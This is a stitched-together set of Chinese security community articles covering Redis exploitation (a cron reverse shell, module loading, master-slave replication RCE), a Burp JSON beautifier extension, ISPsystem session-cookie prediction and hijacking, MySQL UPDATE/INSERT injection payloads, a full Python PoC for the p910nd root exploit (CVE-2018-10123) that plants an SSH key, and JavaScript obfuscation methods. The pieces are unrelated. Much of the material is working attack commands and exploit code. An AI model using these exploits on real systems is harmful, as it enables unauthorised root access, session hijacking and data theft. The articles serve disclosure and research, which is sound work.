这里计划任务的意思为每分钟执行下反弹命令。
过了1分钟，shell完成反弹。
测试了centos7和ubuntu，默认情况下redis写入计划任务反弹shell，在centos下是可以的。
由于redis写入文件会写入脏数据，ubuntu计划任务不允许有脏数据，所以ubuntu没办法通过redis写入计划任务进行操作。
keys * 查看所有键
set x "\n\n计划任务内容\n\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /var/spool/cron 设置文件写入目录
config set dbfilename root 设置写入文件名
save 保存，完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-4.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
## 模块加载执行命令
必要条件：
* 目标服务器上有`.so`文件
* redis支持module命令
环境:
* redis 4.0.0
so文件下载地址：[exp.so](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)
在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出`.so`文件。
主要原理为webshell上传`.so`文件，然后通过`redis`的`module`命令进行加载`.so`
文件，然后进行系统命令执行，这里主要是讲解利用方式，我就不对`.so`文件原理进行一个讲解。
实战中这种用法一般用在getshell后，上传`.so`文件进行一个命令执行。
所以这里我主要以蚁剑redis数据库插件进行一个演示。
通过webshell将我们的`.so`文件上传到目标服务器上。
利用模块连接数据库，执行命令加载模块。
删除模块，查看是否删除成功。
module load /tmp/557.so 加载模块
system.exec "whoami" 执行命令
module list 查看现有模块
module unload system 删除模块
若目标以root权限启动redis，在实战中就可以利用这种方式进行一个提权。
## 主从复制rce
主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。
默认情况下，每台Redis服务器都是主节点；且一个主节点可以有多个从节点(或没有从节点)，但一个从节点只能有一个主节点。
主从复制RCE主要原理就是，攻击机通过协议认证成为主节点，目标redis服务器为从节点，通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载`.so`文件，完成命令执行。
必要条件：
* redis版本 >= 4.x
利用过程了解了，实现只需要写一个脚本就可以了。
脚本下载：[redis_rce](https://github.com/Ridter/redis-rce)
执行脚本，填入本地ip，redis服务器ip，so文件，选择i可以直接交互执行命令。
python redis-rce.py -L 192.168.111.132 -r 192.168.111.135 -f 557.so
这里再演示下选择r。监听一个端口，脚本会弹个shell过来。
* * *
通过wireshark抓包分析流量。
首先会执行Info获取信息。
这时候主要python脚本做了八件事:
本机设置为主机ip:192.168.111.132 port:21000
设置从机上导出的文件557.so
加载全量复制完成后在从机上生成的557.so文件
断开主从机器间复制(从节点不会删除已有的数据，只是不再接受主节点新的数据变化)
执行命令
还原dbfilename
通过命令删除主从复制到redis服务器上的so文件
移除加载的命令执行模块
其中2、3步之间为主从复制的关键。
通过[redis-rogue-server](https://github.com/LoRexxar/redis-rogue-server)脚本来查看2、3步之间的操作。
我将一些符号进行去除，最后得到这些内容。
其中主要的操作为：
主节点会向从节点发送PING命令，这个PING命令的作用，主要是为了让从节点进行超时判断
从服务器将执行命令REPLCONF listening-port 6379，向主服务器发送从服务器的监听端口号。执行REPLCONF capca eof capa psync2，主要是为了兼容不同版本，主机根据这些对从机采取不同的操作。
开始全量复制
# 防御建议
* 设置密码并且保证密码口令为强口令
* 以低权限启动redis数据库
* 不允许数据库外联并且设置白名单ip
# 总结
* 当目标为ubuntu的时候，由于自身机制原因，是没办法进计划任务写入的利用。
* 一切关于写入的操作都是覆盖，操作的时候一定要慎重。
* 根据不同的环境选择不同的连接方式可以更好的进行利用。
* 模块加载和主从复制rce目标数据库版本必须大于等于4.0.0 | 社区文章 |
Most penetration testers know the pain of trying to view and modify an
unparsed JSON string. For those that don't, here's a taste:
{"userId":1234,"username":"JakeReynolds","favorites":["Rubik's cubes","Doctor Who"],"dislikes":["Sushi","Vegetables"]}
When looking at thousands of these strings a day it is important for them to
be well formatted and easily understandable. There currently exists a Burp
Extension for beautifying JSON but it is written in Python, which requires
Jython to be downloaded and added to Burp. There were also some issues with
Jython and that extension not being as dependable as hoped. Due to those
reasons we ported that functionality to Java which is run natively by Burp.
Java makes this extension one-click install, with support from Google's [GSON
parser](https://github.com/google/gson). The source code can be found on our[
Github](https://github.com/NetSPI/JSONBeautifier) as well as PortSwigger's
[Github](https://github.com/PortSwigger/json-beautifier) which includes
updated build instructions.
To install, simply go to Burp > Extender > BApp Store and select "JSON
Beautifier". The next time there is a JSON request in any of the Burp tabs
there will be the option of "JSON Beautifier". Any content modified in this
tab will also be modified in the "Raw" tab. An example is below:
Thanks for checking out our Burp Extension! If you would like any features
added feel free to [create an
issue](https://github.com/NetSPI/JSONBeautifier/issues) on Github. | 社区文章 |
# ISPsystem漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/vulnerabilities-in-ispsystem/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
ISPsystem是一款知名软件，web界面非常友好，可以用于web服务器、专用服务器、VPS以及账单管理场景。ISPsystem系列产品被全世界数百家托管服务器商所使用，包括1Cloud、King
Servers以及Ru-Center。ISPsystem产品目前已有超过10,000个安装实例：
图1. ISPmanager安装量估计
最知名的ISPsystem产品包括：
* ISPmanager：用于Web托管以及Linux服务器的控制面板（与cPanel）类似；
* BILLmanager：一体化Web托管计费软件；
* DCImanager：专用服务器配置工具集；
* VMmanager：服务器虚拟化管理软件，有两种形态，分别适用于OpenVZ以及KVM虚拟化方案。
在本文中，我们将与大家分享在ISPsystem软件中找到一个严重漏洞的过程，攻击者可以利用该漏洞劫持已登录用户的会话，控制该用户的网站、虚拟机、账单数据等。由于所有ISPsystem产品使用的都是同一个内核，因此都会受到该漏洞影响。
幸运的是，ISPsystem快速响应了我们的漏洞报告，在[5.178.2版本](https://www.ispsystem.com/software/coremanager/changelog)中修复了该漏洞。
## 二、漏洞分析
### 环境配置
ISPsystem允许用户免费下载和安装相关软件，为了使用这些软件，我们需要购买许可证，但也可以获取功能受限的试用版许可证。在这次研究中，我们下载和安装了用于VPS管理的ISPsystem面板：
图2. 安装VMmangager
该脚本可以设置所需的环境，包括MYSQL数据库服务器以及HTTP服务器。默认情况下，HTTP服务器运行在1500 TCP端口。
图3. VMmanager HTTP服务器进程
完成必要的安装步骤后，我们可以通过浏览器访问控制面板，登录界面如下：
图4. VMmanager面板登录界面
现在我们可以在本地进行测试，不会影响托管上提供的任何系统。
### 认证过程
来看一下认证过程。该系统使用如下HTTP POST请求来执行认证过程：
图5. VMmanager HTTP认证请求
成功认证后，服务器会设置会话cookie，浏览器会保存独特的一个字符串。会话cookie使系统能够识别用户，无需每次都请求用户名及密码。会话cookie跟具体产品名有关，由两部分组成：产品名（比如`vmmgr`或者`vemgr`）以及`ses5`。在我们的测试案例中，会话cookie名为`vmmgrses5`，还有另一个cookie（`vmmgrlang5`），用来选择用户接口所使用的模板和语言。
图6. VMmanager成功认证响应包
如上图所示，cookie值是十六进制字符组成的一个字符串，大小为6字节（字符串始终包含12个字符，字符集为`[0-9a-z]`）。cookie有1年的过期时间。
因此，攻击者只需要正确选取6字节值就能劫持另一个用户的有效会话，整个会话标识符空间中只包含`256^6`种组合。
### 预测会话标识符
实际上，对于远程暴力破解攻击来说，`256^6`仍然是一个非常庞大的攻击空间。因此，我们觉得看一下是否能够进一步缩小枚举空间。
为了完成该任务，我们需要澄清会话cookie的生成算法。
目标软件的业务逻辑采用C++语言实现。实际上，服务器会采用C++代码来执行各种操作，比如数据库操作、用户认证以及用户会话管理等，这些操作执行在`ihttpd`进程的上下文中。
由于我们需要澄清会话cookie的生成方式，因此我们在二进制文件中搜索`ses5`字符串，该字符串存在于如下文件中：
/usr/local/mgr5/lib/libispapi.so
/usr/local/mgr5/lib/libmgr.so
/usr/local/mgr5/lib/libispcgi.so
/usr/local/mgr5/lib/libostemplate.so
/usr/local/mgr5/libexec/ihttpd.so
简单分析如上文件后，我们发现密码认证过程由`libispapi.so`库负责处理：
在认证过程中，目标服务会创建`isp_api::Session`类的一个新对象：
图7. 反编译后的部分认证代码：创建`Session`类的一个实例
最后，系统会调用`isp_api::Authen::Data::generate_id`例程来生成会话标识符。实际上，在该例程中，我们可以看到如下代码：
图8. 生成会话cookie值
前面我们提到过，会话标识符的长度为6字节。这个值也会作为参数，从`libmgr.so`库传递给`str::Random`例程。最后我们需要寻找的就是`str::Random`的具体实现。我们不要把该函数与`std::rand`这个库函数混淆起来，这两个函数的具体实现完全不同。
为了生成随机的字节，`str::Random`方法中用到了`rand()`函数：
图9. `str::Random`部分实现代码：生成随机序列
为了生成长度为N的随机字符串，`rand()`函数会被调用N次。处理结果会被赋值到`char`类型的一个变量。然后，`rand()`函数生成的变量会被裁剪成8比特长度。此时，我们应当注意一点，`rand()`函数并不会生成真正的随机数。相反，该函数实现的是一个[伪随机数生成算法](https://github.com/lattera/glibc/blob/master/stdlib/random_r.c)。
其中很重要的一点：伪随机生成器所生成的序列完全由其初始状态所决定，也就是所谓的”种子”。因此，相同种子会生成相同的伪随机数序列。`str::Random`方法生成会话cookie的过程如下所示：
图10. 使用`str::Random`生成会话cookie
在我们的测试案例中，系统只有在生成若干次伪随机值（少于400次）之后才会设置新的种子，此外种子还是一个32位整数。来看一下负责设置随机种子的`str::Random`函数的具体实现代码：
图11. `str::Random`部分实现代码：设置随机种子
在如上伪代码中，`g_rnd_reset_counter`变量用来确定伪随机数生成器所使用的种子是否需要更新。`g_rnd_reset_counter`的初始值为`rand()%255
+
128`。也就是说，该变量可以取`128`到`382`之间的值。每次`str::Random`被调用时，就会从`g_rnd_reset_counter`变量中减去已生成随机字符串的长度值。当该变量小于或等于0时，代码就会重置生成器的种子。
根据`str::Random`的具体实现，我们有可能推测出用来初始化已知会话cookie的伪随机生成器所使用的最后一个种子值。为了完成该任务，我们可以遍历所有可能的种子值，搜索伪随机生成器所生成的短序列会话cookie。
图12. 种子搜索过程
如果我们知道会话cookie，就可以找到生成器所使用的种子值，然后预测使用该种子的生成器所使用的所有序列。
因此，当我们获得会话cookie后，如果另一个用户登录系统，我们就可以使用暴力破解攻击，最多尝试382次后就能获取该用户的会话cookie。还有其他类似场景，如果用户用户在我们获取会话cookie之前刚好登录也可以。这些攻击场景如下图所示：
图14. 伪随机会话标识符预测过程
### 可能的攻击场景
在攻击场景中，攻击者可能执行如下操作：
1、在某个时间段“T”，使用合法的用户名和密码登录系统，然后保存系统分配的会话cookie值；
2、使用`rand`函数，从`0`到`2^32`遍历所有种子，生成大小为382字节的一系列数组，搜索前面已保存的会话cookie序列（需要注意的是，这里需要使用目标系统所使用的同一个`rand`函数）；
3、从382字节数组中提取出所有的6字节子序列，从中找到已知的会话cookie；
4、尝试使用已提取的所有6字节字串，使用该会话cookie登录系统；
5、如果在攻击过程中有另一个用户登录，攻击者就可以劫持该用户会话。
时间段“T”应该尽可能小，以确保我们至少能获得生成器所使用的每个新种子所对应的一个会话cookie。“T”的最佳取值取决于攻击时所处的具体时间以及活跃的用户数。我们还需要考虑其他位置是否也会调用`rand()`函数。因此，如果活跃用户过多，“T”值应当适量减少。
在测试案例中，使用6字节序列查找种子在16核CPU上最多需要20分钟，并且我们可以通过硬件规模控制所需的查找时间。我们也可以预先生成所有`2^32`个序列，将其存放到数据库中。我们需要1.5TB空间才能存放生成的所有数据。因此，我们可以通过多种方法，在已知序列的情况下实时确定目标种子值。获取种子以及序列后，我们需要将所有6字节子序列应用到可能的会话cookie中。
我们也可以通过序列开头位置计算出已知会话cookie的偏移量。如果没有登录用户，这些偏移之间距离恒定。如果有其他用户登录，则距离就会相应增加。
### 攻击PoC
我们使用Python和`urllib2`库实现第一个攻击步骤。在代码中，我们使用如下参数来登录目标面板：
图14. Exploit Poc：创建登录请求，设置HTTPS链接（Python）
从`vemgrses5` cookie获取会话标识符：
图15. Exploit PoC：获取会话cookie值（Python）
最开始我们执行该脚本来确定当只有一次登录操作并且没有其他活跃用户时，系统对`rand()`的调用频次。
为了找到脚本获取的会话标识符所对应的种子值，我们可以使用如下C代码：
图16. Exploit PoC：生成特定种子所对应的随机数序列（C语言，Linux）
如上代码可以设置种子值，生成伪随机序列，以便后续查找已知的会话cookie。我们在代码中使用了`srandom_r()`以及`random_r()`函数，而没有使用`srand`以及`rand`，以便代码能够在多线程并行运行。
我们得到的结果如下表所示：
图17. 在生成序列中找到会话标识符以及相应的偏移值
在上表中，“Session cookie”栏为每次成功登录后服务器返回的`vmmgrses5`标识符，“Found
seed”栏为我们找到的与会话cookie对应的种子值。所有会话cookie都属于同一个种子生成的伪随机序列，“Offset”栏为距伪随机序列起始处的偏移值，最后一栏为随机序列中相邻会话标识符的距离。
我们可以看到，在生成的序列中我们获取到的会话cookie（6字节数组）偏移之间的距离始终是14。这意味着对于每次成功登录操作，`rand()`通常只会被调用14次：6次用来生成会话cookie字符串，8次在其他地方调用。因此，如果距离大于14，那么就有另一个活跃的用户存在。
在脚本执行期间，我们使用浏览器尝试登录，目标服务器会我们的会话分配的cookie为`vemgrses5=9e723afa5922`：
图18. VMmanager服务器返回的HTTP响应头
这个会话cookie其实也是可以预测的。
对于该脚本获取的会话cookie，我们在实验中得到了如下结果：
图19. Demo：已知会话标识符的种子查找结果
从10:57:56到10:58:17时间段之间的偏移间距一直在增加，这个时间段与用户的活跃时间段一致。因此，通过检查间距值，我们就可以判断目标网站上其他用户的活跃情况。
让我们观察`0x747777E4`种子所生成的伪随机序列（该时间段内使用的是该种子）：
图20. Demo：可预测的伪随机序列中包含我们想找的标识符
如上所示，用户会话cookie存在于生成的序列中。通过脚本获取的已知值在上图中用绿色高亮标出，我们预测的值用红色高亮标出。
在攻击过程中，我们要做的最后一件事就是暴力破解出已知值间距超过14的所有6字节子串：
图21. Demo：暴力破解攻击
在本例中，我们只需要检查66个值，就能找到另一个用户会话cookie对应的正确值。
最后，由于默认配置的服务器并没有匹配会话cookie所对应的IP地址，因此我们可以使用窃取的会话ID，通过如下请求来入侵另一个用户的会话：
图22. Demo：劫持会话的请求
整个攻击过程可参考[该视频](https://youtu.be/UVcqgR8GcnI)。
从视频中我们可知，攻击者不需要太多资源就能轻松发起攻击。
受影响的ISPsystem产品列表如下：
ISPsystem ISPmanager
ISPsystem BILLmanager
ISPsystem DCImanager
ISPsystem VMmanager
ISPsystem DNSmanager
ISPsystem IPmanager
ISPsystem COREmanager
如果您正在使用如上ISPsystem产品，对应的核心版本低于5.178.2，我们建议您尽快升级至最新版。 | 社区文章 |
# 【技术分享】一种新的MySQL下Update、Insert注入方法
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/41275.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
目前我们一般通过报错和时间盲注来对update和insert语句进行SQL注入，下面我们来讲解一种新的获取数据的方法。
首先我们来看一个简单的例子，假设应用会将username字段的结果会返回给我们：
$query = "UPDATE users SET username = '$username' WHERE id = '$id';";
HTTP应用中的参数是这样的：
username=test&id=16
我最近研究的带内，带外攻击技巧刚好适用于这个场景，要理解我的技巧，我们可以先看下Mysql 是如何处理字符串的。在Mysql 中一个字符串等于
‘0’，我们来看一下：
假如我们把字符串和数字相加，结果和0 加这个数字一样：
Mysql的这个属性给了我一些灵感，我们来看看BIGINT的最大值加上一个字符串会怎样？
结果是 ‘1.8446744073709552e19’，这表明字符串实际上作为八字节的DOUBEL类型来处理。
将一个DOUBLE类型和大数字相加会返回IEEE格式的值，为了解决这个问题我们可以使用OR。
现在我们得到了最大的64bit无符号的BIGINT值0xffffffffffffffff。我们需要注意通过OR获取数据时，这个值必须小于BIGINT（不能超过64bit）。
**转换字符串为数字**
为了获取数据我们可以将应用输出的字段转换为数字，然后再解码回来，如下步骤：
String -> Hexadecimal -> Decimal
通过SQL，Python和Ruby等语言我们可以将数字转回字符串，如下：
Decimal -> Hexadecimal -> String
如上面提到的，Mysql中的最大值为BIGINT，我们不能超过它，也就是说每次提取的字符串不能超过8位。
4702111234474983745可以被解码为AAAAAAAA，如果再加一个A,我们就不能正确解码了，因为返回的结果会是无符号的BIGINT值0xffffffffffffffff。
如果需要获取的数据超过8个字节，我们需要使用substr()方法来将数据分片。
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
n的取值为1、2、3…比如我们要获取的username长度超过8个字符，我们首先获取前八个字符，然后继续获取后面的8个直到得到NULL。
最后我们把user()函数获得的数据解码。
**注入技巧**
**获取表名**
select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
**获取列名**
select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
**利用UPDATE语句**
下面我们通过一个例子来说明如何利用更新语句。
实际的查询语句可能是这样的：
**利用INSERT语句**
原始SQL语句如下：
insert into users values (17,'james', 'bond');
我们可以像update语句中一样获取数据：
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);
**
**
**MySQL 5.7中的限制**
你可能注意到这种方法在MySQL 5.7.5之后的版本并不奏效。
通过研究MySQL 5.7发现Mysql服务器默认运行在‘Strict SQL Mode’下，在MySQL
5.7.5里，默认的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’
下我们不能将integer转换为string。
为了解决这个问题，我们需要在注入时一直使用一个integer类型，这样就不会有任何问题了。
另外任何用户都可以在他的会话里关闭‘Strict Mode’。
如果想设置影响所有客户端的全局属性需要SUPER权限。
开发者也可以使用‘IGNORE’关键字来忽略‘Strict Mode’，如‘INSERT IGNORE’或者‘UPDATE IGNORE’。
**解码Decoding**
SQL
select unhex(conv(value, 10, 16));
Python
dec = lambda x:("%x"%x).decode('hex')
Ruby
dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或
dec = lambda { |x| puts x.to_s(16).scan(/w+/).pack("H*") } | 社区文章 |
# 基于OpenWRT的路由器打印服务获取 root 权限（CVE-2018-10123）
|
##### 译文声明
本文是翻译文章，文章来源：https://neonsea.uk/
原文地址：<https://neonsea.uk/blog/2018/04/15/pwn910nd.html>
译文仅供参考，具体内容表达以及含义原文为准。
我在Inteno的IOPSYS固件中发现了另一个漏洞，但我相信这会影响打印机服务器p910nd附带的所有OpenWRT或基于LEDE的路由器。任何经过身份验证的用户都可以修改打印机服务器的配置，允许他们以根用户的身份读取任何文件并将其追加到任何文件中。这可以导致信息泄漏和远程代码执行。此漏洞已被分配给CVE
ID: [CVE-2018-10123](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10123)。
我以前写过关于Inteno设备漏洞的报告([1](https://neonsea.uk/blog/2017/07/17/cve-2017-11361.html)，[2](https://neonsea.uk/blog/2017/07/21/post-remedy-cve-2017-11361.html)，[3](https://neonsea.uk/blog/2017/12/23/rce-inteno-iopsys.html))。我建议阅读第一篇文章，因为它描述了如何调用路由器上的函数-包括那些可能不在管理面板中列出的函数。
在查看经过身份验证的用户可以修改的配置时，我注意到了p910nd的一个部分。根据[OpenWRTwiki](https://openwrt.org/docs/guide-user/services/print_server/p910nd.server)，它是一个轻量级守护进程(daemon)，主要负责连接到路由器的设备和连接到路由器的打印机之间的网关。它在默认情况下是禁用的，但是可以很容易地在管理面板中启用。默认情况下，如下所示：
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}
< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}
我感兴趣的是设备的价值。从管理的角度来看，这是有意义的，但是普通的最终用户不应该能够改变这一点。还有，如果我们把p910nd指向其他东西-也许是一个文件-会发生什么？出于测试目的，通过SSH访问权限，我创建了一个测试文件：
# cat > /tmp/test << EOF
> Testing123
> EOF
我启用了p910并更改了设备以指向我们新创建的文件：
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1}
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}
根据文档，服务侦听端口9100。我使用Netcat连接到该端口：
$ ncat 192.168.1.1 9100
Testing123
马上就得到了文件的内容。我修改了测试文件的权限，以查看是否可以读取具有根用户访问权限的文件：
# chmod 600 /tmp/test
# ls -al /tmp/test
-rw------- 1 root root 11 Apr 14 23:23 /tmp/test
同样，我们可以成功地读取文件：
$ ncat 192.168.1.1 9100
Testing123
这是可以理解的，因为p910nd守护进程在系统上有根权限。该配置还有一个名为bidirectional的值，值被设置为1。这是否意味着我们也可以写入文件呢？我在Netcat中键入了另一个测试字符串，看它是否会被附加到文件中。我按下回车键，以确保字符串正在发送：
$ ncat 192.168.1.1 9100
Testing123
foobar
检查文件是否发生了更改：
# cat /tmp/test
Testing123
foobar
事实上，即使是写入文件也是可能的！这使得攻击者能够轻松地访问系统。例如，可以使用UID 0和已知密码将用户添加到/etc/passwd。
在进行了一些测试之后，我还得出一个结论，攻击者希望写入的文件必须已经存在-只需将设备值更改为不存在的文件，就不会创建该文件。但是，攻击者仍然可以将脚本附加到作为根用户执行的脚本，并添加他们希望执行的任何代码。
我编写了一个PoC，将一行附加到/etc/init.d/p910nd脚本，在执行时，该脚本将用我的SSH键覆盖/etc/Drop/Authorated_Key，使我能够轻松地以根用户身份进行SSH。每次通过UCI提交更改时都会执行此脚本，UCI使用UCI重新启动服务。执行的脚本：
[](https://p1.ssl.qhimg.com/t017ed1d1d1b8175921.gif)
如果你有一个具有受限访问权限的Inteno路由器，则可以使用此PoC添加自己的SSH密钥并以根用户身份登录。它还可以与p910nd捆绑的其他路由器一起工作，并使用jsonrpc协议进行通信。最后，你可能必须也将IP更改为/ubus。如果使用不同的协议，则需要不同的PoC。
这个PoC需要Python3.6和一个名为webSocket-Client的模块，你可以通过pip安装webSocket-Client来安装这个模块。请注意，如果你想使用它，就应该编辑脚本的第58-61行，以便包含适当的IP、用户名、密码和SSH密钥，还可以编辑第63行，以包含您自己的执行代码。
#!/usr/bin/python3
import json
import sys
import socket
import os
import time
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:
return(None)
return(key)
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":[key,namespace,argument,params],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get('result')[1]
except IndexError:
if response.get('result')[0] == 0:
return(True)
return(None)
return(result)
def sendData(host, port, data=""):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(data.encode('utf-8'))
s.shutdown(socket.SHUT_WR)
s.close()
return(None)
def recvData(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
data = s.recv(1024)
s.shutdown(socket.SHUT_WR)
s.close()
return(data)
if __name__ == "__main__":
host = "192.168.1.1"
username = "user"
password = "user"
key = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427"
payload = ("""
/bin/echo "%s" > /etc/dropbear/authorized_keys;
""" % key)
print("Authenticating...")
key = ubusAuth(host, username, password)
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Enabling p910nd and setting up exploit...")
pwn910nd = ubusCall(host, key, "uci", "set",
{"config":"p910nd", "type":"p910nd", "values":
{"enabled":"1", "interface":"lan", "port":"0",
"device":"/etc/init.d/p910nd"}})
if (not pwn910nd):
print("Enabling p910nd failed!")
sys.exit(1)
print("Committing changes...")
p910ndc = ubusCall(host, key, "uci", "commit",
{"config":"p910nd"})
if (not p910ndc):
print("Committing changes failed!")
sys.exit(1)
print("Waiting for p910nd to start...")
time.sleep(5)
print("Sending key...")
sendData(host, 9100, payload)
print("Triggerring exploit...")
print("Cleaning up...")
dis910nd = ubusCall(host, key, "uci", "set",
{"config":"p910nd", "type":"p910nd", "values":
{"enabled":"0", "device":"/dev/usb/lp0"}})
if (not dis910nd):
print("Exploit and clean up failed!")
sys.exit(1)
p910ndc = ubusCall(host, key, "uci", "commit",
{"config":"p910nd"})
if (not p910ndc):
print("Exploit and clean up failed!")
sys.exit(1)
print("Exploitation complete") | 社区文章 |
## 一、前言
js文件在日常测试中是一个容易被忽略的点，其代码繁杂冗长具有较差的可读性，但往往承载着重要业务逻辑，如前后端分离站点前端操作逻辑写在js中，开发者未对代码做安全处理直接发布便可能存在安全风险，而鉴于js代码的透明性，提高阅读难度似乎是最直接高效的办法
混淆前：
console.log("Hello World!");
混淆后：
// obfuscator default模式混淆
function _0x5036(_0x92e953, _0x27bdba) {
var _0xd97dbd = _0xd97d();
return _0x5036 = function (_0x5036a0, _0x39efd5) {
_0x5036a0 = _0x5036a0 - 0x144;
var _0x3beebf = _0xd97dbd[_0x5036a0];
return _0x3beebf;
}, _0x5036(_0x92e953, _0x27bdba);
}
var _0x1721d6 = _0x5036;
(function (_0x46d758, _0x1fbdfa) {
var _0x284cfd = _0x5036,
_0x14b3cc = _0x46d758();
while (!![]) {
try {
var _0x2e2de6 = -parseInt(_0x284cfd(0x14b)) / 0x1 * (-parseInt(_0x284cfd(0x148)) / 0x2) + parseInt(
_0x284cfd(0x14c)) / 0x3 * (parseInt(_0x284cfd(0x144)) / 0x4) + parseInt(_0x284cfd(0x14d)) / 0x5 +
-parseInt(_0x284cfd(0x14f)) / 0x6 + -parseInt(_0x284cfd(0x147)) / 0x7 * (parseInt(_0x284cfd(0x14e)) /
0x8) + -parseInt(_0x284cfd(0x14a)) / 0x9 + -parseInt(_0x284cfd(0x150)) / 0xa * (parseInt(
_0x284cfd(0x149)) / 0xb);
if (_0x2e2de6 === _0x1fbdfa) break;
else _0x14b3cc['push'](_0x14b3cc['shift']());
} catch (_0x107939) {
_0x14b3cc['push'](_0x14b3cc['shift']());
}
}
}(_0xd97d, 0x272e7), console[_0x1721d6(0x145)](_0x1721d6(0x146)));
function _0xd97d() {
var _0x9c87e1 = ['44VQhPEt', '1287702HdVyGJ', '399Bzqaro', '105wYuDVi', '1265195xzjWGR', '9832nUlriq',
'54834DwHOIW', '657340hrdxqi', '14492DlEtEw', 'log', 'Hello\x20World!', '112Idibir', '1080ULAwBj'];
_0xd97d = function () {
return _0x9c87e1;
};
return _0xd97d();
}
## 二、常见混淆方法
### 2.1 对象访问
当js运行在浏览器环境时，全局变量、函数、对象都可以被浏览器访问，变成window对象的成员
function aaa(){
console.log('aaa');
}
var bbb = 'bbb'
window.aaa();
window.bbb;
js有`.`和`[]`两种方式来访问对象成员，前者属性名为标识符，后者属性名为字符串，而字符串又支持拼接，利用这个性质可以将固定的标识符转变成可变化的字符串
// 创建对象
function Test(name){
this.name = name
}
// 变化前
var k1 = new Test('k1');
console.log(k1.name);
// 变化后
var k1 = new window['Test']('k1');
window['console']['l'+'o'+'g'](k1['n'+'a'+'m'+'e']);
### 2.2 编码格式
* unicode编码
js标识符包含变量名、函数名、参数名和属性名，支持写入unicode编码数据
// 变化前
function Aaa(ccc){
this.name = ccc;
}
var bbb = new Aaa('kk');
bbb.name;
// 变化后
function \u0041\u0061\u0061(\u0063\u0063\u0063){
this.\u006e\u0061\u006d\u0065 = \u0063\u0063\u0063;
}
var \u0062\u0062\u0062 = new \u0041\u0061\u0061('\u006b\u006b');
\u0062\u0062\u0062.\u006e\u0061\u006d\u0065;
* hex编码
js字符串支持写入十六进制编码数据
// 变化前
var aaa = 'hello';
console['log'](aaa);
// 变化后
var aaa = '\x68\x65\x6c\x6c\x6f';
console['\x6c\x6f\x67'](\u0061\u0061\u0061);
* ascii编码
`String`对象提供`charCodeAt()`、`fromCharCode()`两个方法可以实现ascii与字符间的转换
// 字符转ascii
'a'.charCodeAt();
// ascii转字符
String.fromCharCode('97')
可以搭配`eval()`函数实现混淆，将字符串转换成代码执行
// 变化前
var aaa = 'hello';
console.log(aaa);
// 变化后
var test = [10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 97, 97, 97, 32, 61, 32, 39, 104, 101, 108, 108, 111, 39, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 97, 97, 97, 41, 59, 10, 32, 32, 32, 32]
eval(String.fromCharCode.apply(null, test));
